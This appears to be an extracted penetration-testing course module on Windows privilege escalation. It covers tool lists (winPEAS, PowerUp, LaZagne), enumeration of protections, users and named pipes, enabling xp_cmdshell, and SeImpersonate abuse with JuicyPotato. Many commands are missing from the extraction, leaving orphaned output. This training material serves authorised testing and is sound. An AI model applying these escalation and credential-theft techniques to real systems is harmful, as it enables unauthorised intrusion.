Windows Privilege Escalation Introduction To Windows Privilege Escalation
Windows Privilege Escalation Introduction To Windows Privilege Escalation
After gaining a foothold, elevating our privileges will provide more options for persistence
and may reveal information stored locally that can further our access within the environment.
The general goal of Windows privilege escalation is to further our access to a given system
to a member of the Local Administrators group or the NT AUTHORITY\SYSTEM
LocalSystem account. There may, however, be scenarios where escalating to another user
on the system may be enough to reach our goal. Privilege escalation is typically a vital step
during any engagement. We need to use the access obtained, or some data (such as
credentials) found only once we have a session in an elevated context. In some cases,
privilege escalation may be the ultimate goal of the assessment if our client hires us for a
"gold image" or "workstation breakout" type assessment. Privilege escalation is often vital to
continue through a network towards our ultimate objective, as well as for lateral movement.
That being said, we may need to escalate privileges for one of the following reasons:
1. When testing a client's gold image Windows workstation and server build for flaws
2. To escalate privileges locally to gain access to some local resource such as a
database
3. To gain NT AUTHORITY\System level access on a domain-joined machine to gain
a foothold into the client's Active Directory environment
4. To obtain credentials to move laterally or escalate privileges within the client's
network
There are many tools available to us as penetration testers to assist with privilege
escalation. Still, it is also essential to understand how to perform privilege escalation checks
and leverage flaws manually to the extent possible in a given scenario. We may run into
situations where a client places us on a managed workstation with no internet access,
heavily firewalled, and USB ports disabled, so we cannot load any tools/helper scripts. In this
instance, it would be crucial to have a firm grasp of Windows privilege escalation checks
using both PowerShell and Windows command-line.
Windows systems present a vast attack surface. Just some of the ways that we can escalate
privileges are:
Abusing Windows group privileges Abusing Windows user privileges
Bypassing User Account Control Abusing weak service/file permissions
Leveraging unpatched kernel exploits Credential theft
Traffic Capture and more.
Moving On
The scenarios above show how an understanding of Windows privilege escalation is crucial
for a penetration tester. In the real world, we will rarely be attacking a single host and need
to be able to think on our feet. We should be able to find creative ways to escalate privileges
and ways to use this access to further our progress towards the goal of the assessment.
Practical Examples
Throughout the module, we will cover examples with accompanying command output, most
of which can be reproduced on the target VMs that can be spawned within the relevant
sections. You will be provided RDP credentials to interact with the target VMs and complete
the section exercises and skills assessments. You can connect from the Pwnbox or your own
VM (after downloading a VPN key once a machine spawns) via RDP using FreeRDP,
Remmina, or the RDP client of your choice.
Many of the module sections require tools such as open-source scripts, precompiled
binaries, and exploit PoCs. Where applicable, these can be found in the C:\Tools directory
on the target host. Even though most tools are provided, challenge yourself to upload files to
the target (using techniques showcased in the File Transfers module) and even compile
some of the tools on your own using Visual Studio.
-mrb3n
Useful Tools
There are many tools available to us to assist with enumerating Windows systems for
common and obscure privilege escalation vectors. Below is a list of useful binaries and
scripts, many of which we will cover within the coming module sections.
Tool Description
Seatbelt C# project for performing a wide variety of local privilege
escalation checks
winPEAS WinPEAS is a script that searches for possible paths to escalate
privileges on Windows hosts. All of the checks are explained here
Tool Description
PowerUp PowerShell script for finding common Windows privilege
escalation vectors that rely on misconfigurations. It can also be
used to exploit some of the issues found
SharpUp C# version of PowerUp
JAWS PowerShell script for enumerating privilege escalation vectors
written in PowerShell 2.0
SessionGopher SessionGopher is a PowerShell tool that finds and decrypts saved
session information for remote access tools. It extracts PuTTY,
WinSCP, SuperPuTTY, FileZilla, and RDP saved session
information
Watson Watson is a .NET tool designed to enumerate missing KBs and
suggest exploits for Privilege Escalation vulnerabilities.
LaZagne Tool used for retrieving passwords stored on a local machine from
web browsers, chat tools, databases, Git, email, memory dumps,
PHP, sysadmin tools, wireless network configurations, internal
Windows password storage mechanisms, and more
Windows Exploit WES-NG is a tool based on the output of Windows' systeminfo
Suggester - Next utility which provides the list of vulnerabilities the OS is vulnerable
Generation to, including any exploits for these vulnerabilities. Every Windows
OS between Windows XP and Windows 10, including their
Windows Server counterparts, is supported
Sysinternals Suite We will use several tools from Sysinternals in our enumeration
including AccessChk, PipeList, and PsService
We can also find pre-compiled binaries of Seatbelt and SharpUp here, and standalone
binaries of LaZagne here. It is recommended that we always compile our tools from the
source if using them in a client environment.
Note: Depending on how we gain access to a system we may not have many directories that
are writeable by our user to upload tools. It is always a safe bet to upload tools to
C:\Windows\Temp because the BUILTIN\Users group has write access.
This is not an exhaustive list of tools available to us. Furthermore, we should strive to learn
what each tool does if one does not work as expected, or we cannot load them onto the
target system. Tools like the ones listed above are extremely useful in narrowing down our
checks and focusing our enumeration. Enumerating a Windows system can be a daunting
task with an immense amount of information to sift through and make sense of. Tools can
make this process faster and also give us more output in an easy-to-read format. A
disadvantage to this can be information overload, since some of these tools, such as
winPEAS , return an incredible amount of information that is mostly not useful to us. Tools
can be a double-edged sword. While they help speed up the enumeration process and
provide us with highly detailed output, we could be working less efficiently if we do not know
how to read the output or narrow it down to the most interesting data points. Tools can also
produce false positives, so we must have a deep understanding of many possible privilege
escalation techniques to troubleshoot when things go wrong or are not what they seem to
be. Learning the enumeration techniques manually will help to ensure that we do not miss
obvious flaws due to an issue with a tool, like a false negative or false positive.
Throughout this module, we will show manual enumeration techniques for the various
examples we cover and tool output where applicable. Aside from the enumeration
techniques, it is also vital to learn how to perform the exploitation steps manually and not
rely on "autopwn" scripts or tools that we cannot control. It is fine (and encouraged!) to write
our own tools/scripts to perform both enumeration and exploitation steps. Still, we should be
confident enough in both phases to explain precisely what we are doing to our client at any
stage in the process. We should also be able to operate in an environment where we cannot
load tools (such as an air-gapped network or systems that do not have internet access or
allow us to plug in an external device such as a USB flash drive).
These tools are not only beneficial for penetration testers but can also assist systems
administrators with their jobs by helping to identify low-hanging fruit to fix before an
assessment, periodically checking the security posture of a few machines, analyzing the
impact of an upgrade or other changes, or performing an in-depth security review on a new
gold image before deploying it into production. The tools and methods shown in this module
can significantly benefit anyone in charge of systems administration, architecture, or internal
security & compliance.
Like with any automation, there can be risks to using these tools. Though rare, performing
excessive enumeration could cause system instability or issues with a system (or systems)
that are already known to be fragile. Furthermore, these tools are well known, and most (if
not all) of them will be detected and blocked by common anti-virus solutions, and most
certainly, by more advanced EDR products such as Cylance or Carbon Black. Let's look at
the latest release of the LaZagne tool at the time of writing version 2.4.3. Uploading the
precompiled binary to Virus Total shows that 47/70 products detect it.
We likely would have been caught on the spot if we were attempting to run this during an
evasive engagement. During other assessments, we may encounter protections that we
need to bypass to run our tools. Though out of scope for this module, we can use a variety of
methods to get our tools past common AV products, such as removing comments, changing
function names, encrypting the executable, etc. These techniques will be taught in a later
module. We will assume that our target client has temporarily set Windows Defender on the
hosts we are assessing not to block our activities for this module. They are looking for as
many issues as possible and are not looking to test their defenses at this stage in the game.
Situational Awareness
When placed in any situation, whether in our day-to-day lives or during a project such as a
network penetration test, it is always important to orient ourselves in space and time. We
cannot function and react effectively without an understanding of our current surroundings.
We require this information to make informed decisions about our next steps to operate
proactively instead of reactively. When we land on a Windows or Linux system intending to
escalate privileges next, there are several things we should always look for to plan out our
next moves. We may find other hosts that we can access directly, protections in place that
will need to be bypassed, or find that certain tools will not work against the system in
question.
Network Information
Gathering network information is a crucial part of our enumeration. We may find that the host
is dual-homed and that compromising the host may allow us to move laterally into another
part of the network that we could not access previously. Dual-homed means that the host or
server belongs to two or more different networks and, in most cases, has several virtual or
physical network interfaces. We should always look at routing tables to view information
about the local network and networks around it. We can also gather information about the
local domain (if the host is part of an Active Directory environment), including the IP
addresses of domain controllers. It is also important to use the arp command to view the
ARP cache for each interface and view other hosts the host has recently communicated with.
This could help us with lateral movement after obtaining credentials. It could be a good
indication of which hosts administrators are connecting to via RDP or WinRM from this host.
This network information may help directly or indirectly with our local privilege escalation. It
may lead us down another path to a system that we can access or escalate privileges on or
reveal information that we can use for lateral movement to further our access after
escalating privileges on the current system.
Windows IP Configuration
ARP Table
C:\htb> arp -a
Routing Table
==========================================================================
=
Interface List
9...00 50 56 b9 c5 4b ......vmxnet3 Ethernet Adapter
4...00 50 56 b9 90 94 ......Intel(R) 82574L Gigabit Network Connection
1...........................Software Loopback Interface 1
3...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
5...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface
13...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2
==========================================================================
=
Enumerating Protections
Most modern environments have some sort of anti-virus or Endpoint Detection and
Response (EDR) service running to monitor, alert on, and block threats proactively. These
tools may interfere with the enumeration process. They will very likely present some sort of
challenge during the privilege escalation process, especially if we are using some kind of
public PoC exploit or tool. Enumerating protections in place will help us ensure that we are
using methods that are not being blocked or detected and will help us if we have to craft
custom payloads or modify tools before compiling them.
Many organizations utilize some sort of application whitelisting solution to control what types
of applications and files certain users can run. This may be used to attempt to block non-
admin users from running cmd.exe or powershell.exe or other binaries and file types not
needed for their day-to-day work. A popular solution offered by Microsoft is AppLocker. We
can use the GetAppLockerPolicy cmdlet to enumerate the local, effective (enforced), and
domain AppLocker policies. This will help us see what binaries or file types may be blocked
and whether we will have to perform some sort of AppLocker bypass either during our
enumeration or before running a tool or technique to escalate privileges.
In a real-world engagement, the client will likely have protections in place that detect the
most common tools/scripts (including those introduced in the previous section). There are
ways to deal with these, and enumerating the protections in use can help us modify our tools
in a lab environment and test them before using them against a client system. Some EDR
tools detect on or even block usage of common binaries such as net.exe , tasklist , etc.
Organizations may restrict what binaries a user can run or immediately flag suspicious
activities, such as an accountant's machine showing specific binaries being run via cmd.exe.
Early enumeration and a deep understanding of the client's environment and workarounds
against common AV and EDR solutions can save us time during a non-evasive engagement
and make or break an evasive engagement.
PS C:\htb> Get-MpComputerStatus
AMEngineVersion : 1.1.17900.7
AMProductVersion : 4.10.14393.2248
AMServiceEnabled : True
AMServiceVersion : 4.10.14393.2248
AntispywareEnabled : True
AntispywareSignatureAge : 1
AntispywareSignatureLastUpdated : 3/28/2021 2:59:13 AM
AntispywareSignatureVersion : 1.333.1470.0
AntivirusEnabled : True
AntivirusSignatureAge : 1
AntivirusSignatureLastUpdated : 3/28/2021 2:59:12 AM
AntivirusSignatureVersion : 1.333.1470.0
BehaviorMonitorEnabled : False
ComputerID : 54AF7DE4-3C7E-4DA0-87AC-831B045B9063
ComputerState : 0
FullScanAge : 4294967295
FullScanEndTime :
FullScanStartTime :
IoavProtectionEnabled : False
LastFullScanSource : 0
LastQuickScanSource : 0
NISEnabled : False
NISEngineVersion : 0.0.0.0
NISSignatureAge : 4294967295
NISSignatureLastUpdated :
NISSignatureVersion : 0.0.0.0
OnAccessProtectionEnabled : False
QuickScanAge : 4294967295
QuickScanEndTime :
QuickScanStartTime :
RealTimeProtectionEnabled : False
RealTimeScanDirection : 0
PSComputerName :
PublisherConditions : {*\*\*,0.0.0.0-*}
PublisherExceptions : {}
PathExceptions : {}
HashExceptions : {}
Id : a9e18c21-ff8f-43cf-b9fc-db40eed693ba
Name : (Default Rule) All signed packaged apps
Description : Allows members of the Everyone group to run packaged
apps that are signed.
UserOrGroupSid : S-1-1-0
Action : Allow
PathConditions : {%PROGRAMFILES%\*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 921cc481-6e17-4653-8f75-050b80acca20
Name : (Default Rule) All files located in the Program
Files folder
Description : Allows members of the Everyone group to run
applications that are located in the Program Files
folder.
UserOrGroupSid : S-1-1-0
Action : Allow
PathConditions : {%WINDIR%\*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : a61c8b2c-a319-4cd0-9690-d2177cad7b51
Name : (Default Rule) All files located in the Windows
folder
Description : Allows members of the Everyone group to run
applications that are located in the Windows folder.
UserOrGroupSid : S-1-1-0
Action : Allow
PathConditions : {*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : fd686d83-a829-4351-8ff4-27c7de5755d2
Name : (Default Rule) All files
Description : Allows members of the local Administrators group to
run all applications.
UserOrGroupSid : S-1-5-32-544
Action : Allow
PublisherConditions : {*\*\*,0.0.0.0-*}
PublisherExceptions : {}
PathExceptions : {}
HashExceptions : {}
Id : b7af7102-efde-4369-8a89-7a6a392d1473
Name : (Default Rule) All digitally signed Windows
Installer files
Description : Allows members of the Everyone group to run
digitally signed Windows Installer files.
UserOrGroupSid : S-1-1-0
Action : Allow
PathConditions : {%WINDIR%\Installer\*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 5b290184-345a-4453-b184-45305f6d9a54
Name : (Default Rule) All Windows Installer files in
%systemdrive%\Windows\Installer
Description : Allows members of the Everyone group to run all
Windows Installer files located in
%systemdrive%\Windows\Installer.
UserOrGroupSid : S-1-1-0
Action : Allow
PathConditions : {*.*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 64ad46ff-0d71-4fa0-a30b-3f3d30c5433d
Name : (Default Rule) All Windows Installer files
Description : Allows members of the local Administrators group to
run all Windows Installer files.
UserOrGroupSid : S-1-5-32-544
Action : Allow
PathConditions : {%PROGRAMFILES%\*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 06dce67b-934c-454f-a263-2515c8796a5d
Name : (Default Rule) All scripts located in the Program
Files folder
Description : Allows members of the Everyone group to run scripts
that are located in the Program Files folder.
UserOrGroupSid : S-1-1-0
Action : Allow
PathConditions : {%WINDIR%\*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 9428c672-5fc3-47f4-808a-a0011f36dd2c
Name : (Default Rule) All scripts located in the Windows
folder
Description : Allows members of the Everyone group to run scripts
that are located in the Windows folder.
UserOrGroupSid : S-1-1-0
Action : Allow
PathConditions : {*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : ed97d0cb-15ff-430f-b82c-8d7832957725
Name : (Default Rule) All scripts
Description : Allows members of the local Administrators group to
run all scripts.
UserOrGroupSid : S-1-5-32-544
Action : Allow
Next Steps
Now that we have gathered network information about the host and enumerated any
protections in place, we can decide which tools or manual techniques to use in the
subsequent enumeration phases and any additional possible avenues of attack within the
network.
Initial Enumeration
During an assessment, we may gain a low-privileged shell on a Windows host (domain-
joined or not) and need to perform privilege escalation to further our access. Fully
compromising the host may gain us access to sensitive files/file shares, grant us the ability
to capture traffic to obtain more credentials, or obtain credentials that can help further our
access or even escalate directly to Domain Admin in an Active Directory environment. We
can escalate privileges to one of the following depending on the system configuration and
what type of data we encounter:
Enumeration is the key to privilege escalation. When we gain initial shell access to the host,
it is vital to gain situational awareness and uncover details relating to the OS version, patch
level, installed software, current privileges, group memberships, and more. Let's walk
through some of the key data points that we should be reviewing after gaining initial access.
This is not an exhaustive list by any means, and the various enumeration scripts/tools that
we covered in the previous section cover all of these data points and many, many more.
Nonetheless, it is essential to understand how to perform these tasks manually, especially if
we find ourselves in an environment where we cannot load tools due to network restrictions,
lack of internet access, or protections in place.
This Windows commands reference is very handy for performing manual enumeration tasks.
Running Services : Knowing what services are running on the host is important, especially
those running as NT AUTHORITY\SYSTEM or an administrator-level account. A misconfigured
or vulnerable service running in the context of a privileged account can be an easy win for
privilege escalation.
System Information
Looking at the system itself will give us a better idea of the exact operating system version,
hardware in use, installed programs, and security updates. This will help us narrow down our
hunt for any missing patches and associated CVEs that we may be able to leverage to
escalate privileges. Using the tasklist command to look at running processes will give us a
better idea of what applications are currently running on the system.
Tasklist
<...SNIP...>
Other processes such as MsMpEng.exe , Windows Defender, are interesting because they
can help us map out what protections are in place on the target host that we may have to
evade/bypass.
In addition to the PATH, set can also give up other helpful information such as the HOME
DRIVE. In enterprises, this will often be a file share. Navigating to the file share itself may
reveal other directories that can be accessed. It is not unheard of to be able to access an "IT
Directory," which contains an inventory spreadsheet that includes passwords. Additionally,
shares are utilized for home directories so the user can log on to other computers and have
the same experience/files/desktop/etc. ( Roaming Profiles). This may also mean the user
takes malicious items with them. If a file is placed in
USERPROFILE\AppData\Microsoft\Windows\Start Menu\Programs\Startup , when the
user logs into a different machine, this file will execute.
C:\htb> set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\Administrator\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=WINLPE-SRV01
ComSpec=C:\Windows\system32\cmd.exe
HOMEDRIVE=C:
HOMEPATH=\Users\Administrator
LOCALAPPDATA=C:\Users\Administrator\AppData\Local
LOGONSERVER=\\WINLPE-SRV01
NUMBER_OF_PROCESSORS=6
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\Sy
stem32\WindowsPowerShell\v1.0\;C:\Users\Administrator\AppData\Local\Micros
oft\WindowsApps;
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=AMD64 Family 23 Model 49 Stepping 0, AuthenticAMD
PROCESSOR_LEVEL=23
PROCESSOR_REVISION=3100
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PSModulePath=C:\Program
Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0
\Modules
PUBLIC=C:\Users\Public
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Users\ADMINI~1\AppData\Local\Temp\1
TMP=C:\Users\ADMINI~1\AppData\Local\Temp\1
USERDOMAIN=WINLPE-SRV01
USERDOMAIN_ROAMINGPROFILE=WINLPE-SRV01
USERNAME=Administrator
USERPROFILE=C:\Users\Administrator
windir=C:\Windows
Additionally, many guides will say the Network Information is important as it could indicate a
dual-homed machine (connected to multiple networks). Generally speaking, when it comes
to enterprises, devices will just be granted access to other networks via a firewall rule and
not have a physical cable run to them.
C:\htb> systeminfo
Installed Programs
WMI can also be used to display installed software. This information can often guide us
towards hard-to-find exploits. Is FileZilla / Putty /etc installed? Run LaZagne to check if
stored credentials for those applications are installed. Also, some programs may be installed
and running as a service that is vulnerable.
Name
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.24.28127
Java 8 Update 231 (64-bit)
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.24.28127
VMware Tools
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.24.28127
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.24.28127
Java Auto Updater
<SNIP>
We can, of course, do this with PowerShell as well using the Get-WmiObject cmdlet.
Name
Version
---- --
-----
SQL Server 2016 Database Engine Shared
13.2.5026.0
Microsoft OLE DB Driver for SQL Server
18.3.0.0
Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219
10.0.40219
Microsoft Help Viewer 2.3
2.3.28107
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219
10.0.40219
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005
12.0.21005
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005
12.0.21005
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29914
14.28.29914
Microsoft ODBC Driver 13 for SQL Server
13.2.5026.0
SQL Server 2016 Database Engine Shared
13.2.5026.0
SQL Server 2016 Database Engine Services
13.2.5026.0
SQL Server Management Studio for Reporting Services
15.0.18369.0
Microsoft SQL Server 2008 Setup Support Files
10.3.5500.0
SSMS Post Install Tasks
15.0.18369.0
Microsoft VSS Writer for SQL Server 2016
13.2.5026.0
Java 8 Update 231 (64-bit)
8.0.2310.11
Browser for SQL Server 2016
13.2.5026.0
Integration Services
15.0.2000.130
<SNIP>
Netstat
Active Connections
Current User
When we gain access to a host, we should always check what user context our account is
running under first. Sometimes, we are already SYSTEM or equivalent! Suppose we gain
access as a service account. In that case, we may have privileges such as
SeImpersonatePrivilege , which can often be easily abused to escalate privileges using a
tool such as Juicy Potato.
htb-student
PRIVILEGES INFORMATION
----------------------
GROUP INFORMATION
-----------------
Knowing what other users are on the system is important as well. If we gained RDP access
to a host using credentials we captured for a user bob , and see a bob_adm user in the local
administrators group, it is worth checking for credential re-use. Can we access the user
profile directory for any important users? We may find valuable files such as scripts with
passwords or SSH keys in a user's Desktop, Documents, or Downloads folder.
C:\htb> net user
--------------------------------------------------------------------------
-----
Administrator DefaultAccount Guest
helpdesk htb-student jordan
sarah secsvc
The command completed successfully.
--------------------------------------------------------------------------
-----
*Access Control Assistance Operators
*Administrators
*Backup Operators
*Certificate Service DCOM Access
*Cryptographic Operators
*Distributed COM Users
*Event Log Readers
*Guests
*Hyper-V Administrators
*IIS_IUSRS
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Power Users
*Print Operators
*RDS Endpoint Servers
*RDS Management Servers
*RDS Remote Access Servers
*Remote Desktop Users
*Remote Management Users
*Replicator
*Storage Replica Administrators
*System Managed Accounts Group
*Users
The command completed successfully.
Members
--------------------------------------------------------------------------
-----
Administrator
helpdesk
sarah
secsvc
The command completed successfully.
One of the best places to look for privilege escalation is the processes that are running on
the system. Even if a process is not running as an administrator, it may lead to additional
privileges. The most common example is discovering a web server like IIS or XAMPP
running on the box, placing an aspx/php shell on the box, and gaining a shell as the user
running the web server. Generally, this is not an administrator but will often have the
SeImpersonate token, allowing for Rogue/Juicy/Lonely Potato to provide SYSTEM
permissions.
Access Tokens
In Windows, access tokens are used to describe the security context (security attributes or
rules) of a process or thread. The token includes information about the user account's
identity and privileges related to a specific process or thread. When a user authenticates to a
system, their password is verified against a security database, and if properly authenticated,
they will be assigned an access token. Every time a user interacts with a process, a copy of
this token will be presented to determine their privilege level.
Active Connections
<SNIP>
<SNIP>
The main thing to look for with Active Network Connections are entries listening on loopback
addresses ( 127.0.0.1 and ::1 ) that are not listening on the IP Address ( 10.129.43.8 )
or broadcast ( 0.0.0.0 , ::/0 ). The reason for this is network sockets on localhost are
often insecure due to the thought that "they aren't accessible to the network." The one that
sticks out immediately will be port 14147 , which is used for FileZilla's administrative
interface. By connecting to this port, it may be possible to extract FTP passwords in addition
to creating an FTP Share at c:\ as the FileZilla Server user (potentially Administrator).
More Examples
One of the best examples of this type of privilege escalation is the Splunk Universal
Forwarder , installed on endpoints to send logs into Splunk. The default configuration of
Splunk did not have any authentication on the software and allowed anyone to deploy
applications, which could lead to code execution. Again, the default configuration of Splunk
was to run it as SYSTEM$ and not a low privilege user. For more information, check out
Splunk Universal Forwarder Hijacking and SplunkWhisperer2.
Another overlooked but common local privilege escalation vector is the Erlang Port
(25672). Erlang is a programming language designed around distributed computing and will
have a network port that allows other Erlang nodes to join the cluster. The secret to join this
cluster is called a cookie. Many applications that utilize Erlang will either use a weak cookie
(RabbitMQ uses rabbit by default) or place the cookie in a configuration file that is not well
protected. Some example Erlang applications are SolarWinds, RabbitMQ, and CouchDB.
For more information check out the Erlang-arce blogpost from Mubix
Named Pipes
The other way processes communicate with each other is through Named Pipes. Pipes are
essentially files stored in memory that get cleared out after being read. Cobalt Strike uses
Named Pipes for every command (excluding BOF). Essentially the workflow looks like this:
Cobalt Strike did this because if the command being ran got flagged by antivirus or crashed,
it would not affect the beacon (process running the command). Often, Cobalt Strike users will
change their named pipes to masquerade as another program. One of the most common
examples is mojo instead of msagent. One of my favorite findings was finding a named pipe
start with mojo, but the computer itself did not have Chrome installed. Thankfully, this turned
out to be the company's internal red team. It speaks volumes when an external consultant
finds the red team, but the internal blue team did not.
We can use the tool PipeList from the Sysinternals Suite to enumerate instances of named
pipes.
Listing Named Pipes with Pipelist
<SNIP>
Additionally, we can use PowerShell to list named pipes using gci ( Get-ChildItem ).
Directory: \\.\pipe
Directory: \\.\pipe\Winsock2
Directory: \\.\pipe
<SNIP>
After obtaining a listing of named pipes, we can use Accesschk to enumerate the
permissions assigned to a specific named pipe by reviewing the Discretionary Access List
(DACL), which shows us who has the permissions to modify, write, read, or execute a
resource. Let's take a look at the LSASS process. We can also review the DACLs of all
named pipes using the command .\accesschk.exe /accepteula \pipe\ .
\\.\Pipe\lsass
Untrusted Mandatory Level [No-Write-Up]
RW Everyone
FILE_READ_ATTRIBUTES
FILE_READ_DATA
FILE_READ_EA
FILE_WRITE_ATTRIBUTES
FILE_WRITE_DATA
FILE_WRITE_EA
SYNCHRONIZE
READ_CONTROL
RW NT AUTHORITY\ANONYMOUS LOGON
FILE_READ_ATTRIBUTES
FILE_READ_DATA
FILE_READ_EA
FILE_WRITE_ATTRIBUTES
FILE_WRITE_DATA
FILE_WRITE_EA
SYNCHRONIZE
READ_CONTROL
RW APPLICATION PACKAGE AUTHORITY\Your Windows credentials
FILE_READ_ATTRIBUTES
FILE_READ_DATA
FILE_READ_EA
FILE_WRITE_ATTRIBUTES
FILE_WRITE_DATA
FILE_WRITE_EA
SYNCHRONIZE
READ_CONTROL
RW BUILTIN\Administrators
FILE_ALL_ACCESS
From the output above, we can see that only administrators have full access to the LSASS
process, as expected.
\\.\Pipe\WindscribeService
Medium Mandatory Level (Default) [No-Write-Up]
RW Everyone
FILE_ALL_ACCESS
From here, we could leverage these lax permissions to escalate privileges on the host to
SYSTEM.
Privileges in Windows are rights that an account can be granted to perform a variety of
operations on the local system such as managing services, loading drivers, shutting down
the system, debugging an application, and more. Privileges are different from access rights,
which a system uses to grant or deny access to securable objects. User and group privileges
are stored in a database and granted via an access token when a user logs on to a system.
An account can have local privileges on a specific computer and different privileges on
different systems if the account belongs to an Active Directory domain. Each time a user
attempts to perform a privileged action, the system reviews the user's access token to see if
the account has the required privileges, and if so, checks to see if they are enabled. Most
privileges are disabled by default. Some can be enabled by opening an administrative
cmd.exe or PowerShell console, while others can be enabled manually.
The below diagram walks through the Windows authorization and access control process at
a high level, showing, for example, the process started when a user attempts to access a
securable object such as a folder on a file share. During this process, the user's access
token (including their user SID, SIDs for any groups they are members of, privilege list, and
other access information) is compared against Access Control Entries (ACEs) within the
object's security descriptor (which contains security information about a securable object
such as access rights (discussed below) granted to users or groups). Once this comparison
is complete, a decision is made to either grant or deny access. This entire process happens
almost instantaneously whenever a user tries to access a resource on a Windows host. As
part of our enumeration and privilege escalation activities, we attempt to use and abuse
access rights and leverage or insert ourselves into this authorization process to further our
access towards our goal.
Image source
Typing the command whoami /priv will give you a listing of all user rights assigned to your
current user. Some rights are only available to administrative users and can only be
listed/leveraged when running an elevated cmd or PowerShell session. These concepts of
elevated rights and User Account Control (UAC) are security features introduced with
Windows Vista to default to restricting applications from running with full permissions unless
necessary. If we compare and contrast the rights available to us as an admin in a non-
elevated console vs. an elevated console, we will see that they differ drastically.
Below are the rights available to a local administrator account on a Windows system.
Local Admin User Rights - Elevated
If we run an elevated command window, we can see the complete listing of rights available
to us:
PS C:\htb> whoami
winlpe-srv01\administrator
PRIVILEGES INFORMATION
----------------------
When a privilege is listed for our account in the Disabled state, it means that our account
has the specific privilege assigned. Still, it cannot be used in an access token to perform the
associated actions until it is enabled. Windows does not provide a built-in command or
PowerShell cmdlet to enable privileges, so we need some scripting to help us out. We will
see ways to abuse various privileges throughout this module and various ways to enable
specific privileges within our current process. One example is this PowerShell script which
can be used to enable certain privileges, or this script which can be used to adjust token
privileges.
PS C:\htb> whoami
winlpe-srv01\htb-student
PRIVILEGES INFORMATION
----------------------
PRIVILEGES INFORMATION
----------------------
Detection
This post is worth a read for more information on Windows privileges as well as detecting
and preventing abuse, specifically by logging event 4672: Special privileges assigned to new
logon which will generate an event if certain sensitive privileges are assigned to a new logon
session. This can be fine-tuned in many ways, such as by monitoring privileges that should
never be assigned or those that should only ever be assigned to specific accounts.
Moving On
As attackers and defenders, we need to review the membership of these groups. It's not
uncommon to find seemingly low privileged users added to one or more of these groups,
which can be used to compromise a single host or further access within an Active Directory
environment. We will discuss the implications of some of the most common rights and walk
through exercises on how to escalate privileges if we obtain access to a user with some of
these rights assigned to their account.
Legitimate programs may utilize another process's token to escalate from Administrator to
Local System, which has additional privileges. Processes generally do this by making a call
to the WinLogon process to get a SYSTEM token, then executing itself with that token
placing it within the SYSTEM space. Attackers often abuse this privilege in the "Potato style"
privescs - where a service account can SeImpersonate , but not obtain full SYSTEM level
privileges. Essentially, the Potato attack tricks a process running as SYSTEM to connect to
their process, which hands over the token to be used.
We will often run into this privilege after gaining remote code execution via an application
that runs in the context of a service account (for example, uploading a web shell to an
ASP.NET web application, achieving remote code execution through a Jenkins installation,
or by executing commands through MSSQL queries). Whenever we gain access in this way,
we should immediately check for this privilege as its presence often offers a quick and easy
route to elevated privileges. This paper is worth reading for further details on token
impersonation attacks.
In this scenario, the SQL Service service account is running in the context of the default
mssqlserver account. Imagine we have achieved command execution as this user using
xp_cmdshell using a set of credentials obtained in a logins.sql file on a file share using
the Snaffler tool.
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 1: Changed database context to
'master'.
[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 1: Changed language setting to
us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (130 19162)
[!] Press help for extra shell commands
SQL>
Enabling xp_cmdshell
Next, we must enable the xp_cmdshell stored procedure to run operating system
commands. We can do this via the Impacket MSSSQL shell by typing
enable_xp_cmdshell . Typing help displays a few other command options.
SQL> enable_xp_cmdshell
Note: We don't actually have to type RECONFIGURE as Impacket does this for us.
Confirming Access
With this access, we can confirm that we are indeed running in the context of a SQL Server
service account.
output
--------------------------------------------------------------------------
------
nt service\mssql$sqlexpress01
output
--------------------------------------------------------------------------
------
PRIVILEGES INFORMATION
----------------------
Privilege Name Description
State
============================= =========================================
========
The command whoami /priv confirms that SeImpersonatePrivilege is listed. This privilege
can be used to impersonate a privileged account such as NT AUTHORITY\SYSTEM .
JuicyPotato can be used to exploit the SeImpersonate or SeAssignPrimaryToken
privileges via DCOM/NTLM reflection abuse.
output
--------------------------------------------------------------------------
------
[+] authresult 0
